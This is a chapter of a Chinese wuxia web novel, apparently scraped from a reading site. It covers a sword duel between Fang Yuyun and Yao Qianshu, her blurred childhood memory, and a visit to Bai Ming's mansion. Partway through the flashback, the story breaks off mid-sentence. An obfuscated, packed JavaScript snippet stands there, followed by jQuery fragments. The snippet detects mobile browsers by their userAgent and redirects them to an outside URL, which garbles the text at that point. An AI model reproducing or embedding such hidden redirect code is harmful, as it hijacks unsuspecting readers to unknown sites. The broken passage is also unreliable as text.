11. 旁敲侧击 晨曦初破,晓雾将歇。

作品:《秉烛夜雨时

    晨曦初破,晓雾将歇。


    是个赶路的好日子。


    轻轻推开客栈的门,吱呀一声,惊动着窗外的群鸟飞起。不见树枝摇摆,却见树叶零零散散脱离枝头。


    方誉云一袭白衣如雪,卓然而立在客栈旁的空地上。


    以身带动手中长剑,那长剑宛若轻盈的绸带,眼花缭乱中快速旋转连成一条直线,游走于自己的身侧灵活穿梭。


    那人的目光随着剑锋而走,那剑花于身旁悠悠甩过,宛如燕山大漠的月钩。旋即转身,右手将那长剑轻抛,左手顺势接剑,步履轻盈。


    只见那人少了平日的那几分凌厉,多了几分闲逸。


    这般模样的方誉云,倒是少见。


    剑间上飘落一片叶,那人剑尖轻提,那片绿叶便似扑翅而飞的幼鸟般,打着旋儿,轻轻落在少女的掌心。


    “姚姑娘也会舞剑吗?”


    一舞终,那少年看着漫天的落叶,两指间只随意接下一片。


    “也对,齐云寺的弟子又怎么可能不会剑。”话刚开口,那人便轻声回答着自己的问题。


    是啊,齐云寺那云梦八剑是多少习剑之人穷极一生都接触不到的精湛剑法,这般粗俗的舞法又怎可以相提并论。


    “我不会。”手中捻着漫天落叶,姚芊漱缓缓道出三个字。


    她的声音平静的宛若秋日里静谧的湖水,没有丝毫波澜起伏。


    仿佛这句话早已在被演练过无数遍,此刻说出来不过是再寻常不过的事情罢了。


    “呵,开什么玩笑呢?你可是古宗禅师的弟子,就算这天下人都不会…”


    “我不会。”姚芊漱语气平淡,又重复一遍。


    那人似听到了什么莫大的笑话,嘴角勾起一抹笑意。脚尖一挑,一支纤细的枯枝飞起,他随手接住,


    “既然姚姑娘不会舞剑,那接我几招,当作清晨锻炼,如何?”


    姚芊漱目光轻瞥,手中的银链拽出,微微轻响,手腕翻转,链身还未完全使出,便被那人手中的枯枝敲在手腕。


    姚芊漱手腕吃痛,指尖不由得一松,方公子便将枯枝旋转,银链顺势缠绕于那枯枝之上,枯枝轻勾,伸手接住,银链便被眼前之人收到自己掌中。


    “别再用这破链子了,试试剑吧!”只听一声高呼,方誉云毫不犹豫卸下自己腰旁的配剑,顺势一抛,那宝剑在空中划过一条优美的弧线,直直地朝着姚芊漱飞去。


    可姚芊漱却毫无接剑的动作,只是微微侧身,意欲躲过那直来的剑锋。


    见状,方誉云飞起一脚便是狠狠踢在那剑柄之上,刹那间,剑意来势汹汹、势不可挡,宛如离弦之箭般,剑尖直指姚芊漱的眉目。


    剑光如霹雳般从半空中直刺而来,速度快如闪电。此时已避无可避,倘若不接下这剑,想必只会落的个被一剑穿心。


    千钧一发之际,姚芊漱眼神陡然变得犀利起来,屏身沉气,微微侧身却又紧盯来剑。剑光掠过她额前的发丝,她随剑将身一扭,竟是凭着自己的内力,硬生生握住了那把剑。


    方誉云眼神微凝,见眼前女子稳稳握住手中长剑,两指迅速转动那枯枝,枯枝如影随形,又急速刺出。


    见来者似有一决胜负之意,姚芊漱亦不再犹豫不决。枯枝向前刺出,那利剑便干脆一挥,剑刃精准的抵住树枝,发出轻微的铮鸣。树上枝头的绿叶折服于那波荡之中,飘下片片落叶。


    他步伐稳健,左旋右转,树枝或挑或扫,撩起地上落叶随之飞舞。她身姿矫健,剑随身动,或劈或挡,每一剑都带起一阵寒风,又扰的那落叶缤飞不停。


    两人一来一往,身影交错,树枝与剑的每一次触碰,都仿佛是一场无声的较量,似在切磋,又似在倾诉。


    方誉云目光一沉,那剑招,乃是他儿时独创,至今从未传授他人,姚芊漱却能接下——这绝非偶然。


    “姚姑娘不是不会用剑吗?”他笑得有些意味深长,语气却少了几分揶揄,多了几分探寻。


    “乏了,今日还要赶路,恕不奉陪。”见眼前人招式越发诡异,姚芊漱心生疲倦,竟猛的将那剑直插入地,扭过身去,径直离开。


    方公子心下一惊,手中招式已出,这剑意易出却难收,眼前女子却突然撂剑,头也不回便向前走,稍有不慎,这枯枝恐怕便要将剑刺入那人后脑勺。


    “嘶——”一口凉气直贯入方誉云的口中,他迫不得已抓住那枝枯干,稍运内力才勉强压制住了那凌厉的剑意。


    那枯枝被紧紧拽住,硬生生停下这一招。手中一热,仔细看去,竟是掀起了不少密密麻麻的血口。


    “姚姑娘虽说自己不会舞剑,可这剑术也并不逊色于常人呢。”


    方誉云捡起地上的剑,目光却朝着那愈走愈远的女子愣神。


    那年,他还是个懵懂少年,曾与一位小姑娘在后山溪涧嬉戏。


    她说自己喜欢用剑,他便故意逗她,出招相试。那小姑娘接下他剑招的模样,几乎与方才一模一样。


    “方公子过奖了,我哪里会什么剑,自然是不入方公子剑术高超,又何必比试呢?再者,此番比试是方公子有意攻击我在先,我可从未说过我要迎战。”


    姚芊漱走到那客栈正门口,回头道,“方公子,今日该你牵马了。”


    “你舍得让一个刚刚比武受伤的人为你驾马?”


    “有何不可,那是你自找的。”


    “你舍得让一个昨晚脖子受伤还未愈合的病人为你驾马?”


    “有何不可,那是你自找的。”


    奇怪,今日的方誉云怎么如此话多,竟让人觉得有些聒噪。


    “罢了罢了,方某才不和一个小女子计较。”说罢,方誉云便走向那马舍,牵出马车。


    “这阳光可真刺眼,姚芊漱,上次那个斗笠丢哪儿了?”


    那人絮絮叨叨的带上了那遮住面庞的斗笠,二人就此上路。


    “距离那儿还有多远?”姚芊漱坐在那马车内问道。


    “不远,过了前面那座桥,便很近了。”


    方誉云在前头驾着马道,“姚姑娘儿时可是学过剑,我见你剑法虽然稚嫩,但基本功却是一等一的扎实。”


    “儿时对剑比较感兴趣,只是后来去到齐云寺,寺里的老师傅也不曾教过我剑术,从此便再也没练过剑。”


    姚芊漱的脑袋随着那路的颠簸而摇晃,一晃一晃间,似乎又回到了自己模糊的童年。


    是什么时候不可以用剑的呢?


    “你在干什么!我用心良苦告诉过你的规矩是什么!不要练剑!”


    “你到底听到我说的话没有!”


    后院的假山里,眼前的女人嘶吼着,咆哮着,如疯魔般夺去了藏在山洞中那女童手中的短剑,剑身在她的手中旋转。


    她一把撤下那剑尾的剑穗,不顾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113813|164126||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那剑锋的利刃便是一掌将那剑身拍断。


    “我说你听到没有,不要再碰剑了!”


    那女人拽着眼前人的发丝胡乱扯着,见那女童不再回应、默不作声,又尖叫道,“阿娘说的话你听到没有!”


    “阿娘…阿娘?!”似熟悉的疼痛将人唤醒,记忆便也戛然而止了。


    什么时候不可以习剑…大概就是那一次吧,那一次阿娘大发雷霆之后,便再也没碰过剑了。


    只是,记忆中的女人究竟是何模样,为何,为何这儿时的记忆越发模糊不清了…


    “喂,喂!你听到我说话了没!”驾车的方誉云大声嚷嚷道,“你要想学剑,可以拜我为师,我也不介意顺手收了你这个徒弟。”


    “闭嘴。”姚芊漱听到他说的话莫名心烦。


    这小子是昨晚打斗的时候被伤了脑子不成?怎么一个晚上跟换了个人似的,絮絮叨叨个没完没了。


    平日里那个毒舌腹黑一肚子坏水还趾高气昂瞧不起人的方公子呢?


    今年夏季天气却是反常,阴绵多雨之时令人冷的发抖,可太阳日上三竿之时,却又能将人的脑门蒸的直冒汗。


    “那便是即将入府的姚小姐么?”那温润的声音缓缓响起。


    “是的,主子。听说前几日那齐云寺的宋立言还来过,只是还未打探到详细消息,这三人便不欢而散。”那人毕恭毕敬地答道。


    “可惜主母现在才想起这枚遗落的棋子,派人盯紧些,莫再像上次出了大错。”那话语温润之人,优雅地坐在那软椅上。


    已是日上三竿,那人手中却还是拿着一杯滚烫的茶水,那茶水飘出淡淡的的香气,仔细看去那人的脸,原来是白茗公子啊。


    “扣扣扣”,不等多时,那门府的大门便响起,那小厮见着了那女子手中的令牌,恭恭敬敬弯着腰,将人请了进去。


    只见那说话之人微微躬身作揖,面带歉意地说道:“公子向来喜好安静,故而这府上的仆从也相对较少。若是有什么招待不周到之处,还望姚姑娘与方公子能够海涵一二。”


    听闻此言,方誉云摆了摆手,道:“无妨。”


    说罢,他便迈步向前走去,目光则是细细地审视起这座府邸来。


    入眼处,亭台楼阁错落有致,假山池塘点缀其间,小径蜿蜒曲折,宛如一幅优美的画卷徐徐展开。


    想必这府邸主人的品味固然高雅,能支撑着灵瓦镇每年灵瓦的支出,想必府中主人也定是位高权重。


    只是有如此善心帮助灵瓦镇孩童走出那吃人之地的人,又为何要掳走那楚姑娘呢?


    “姚姑娘,我们又见面了。”眼前的人不同往日般,只是坐在那椅子上,淡淡道。


    语罢,那人浅浅一笑。


    “怎么是你?”方誉云单手拂上自己腰间配剑,戒备道。


    “白公子既然知道我们一定会登门拜访,又何苦要先掳走方公子呢?”姚芊漱将手压在那人腰间。


    “府中人多口杂,难免隔墙有耳,况且,”那人声音顿了顿,抬起双眸望向姚芊漱的双眼,


    “隔墙有耳,自然是要挑个四下无人之地。”


    “姚姑娘,你不好奇你为何会模糊儿时的记忆,而你的亲生父母又是谁么?”


    白茗手中握着一杯暖茶,坐在那木椅上淡淡笑道,


    “方公子,这么多年,你要找的黑玉主人,可有音讯?”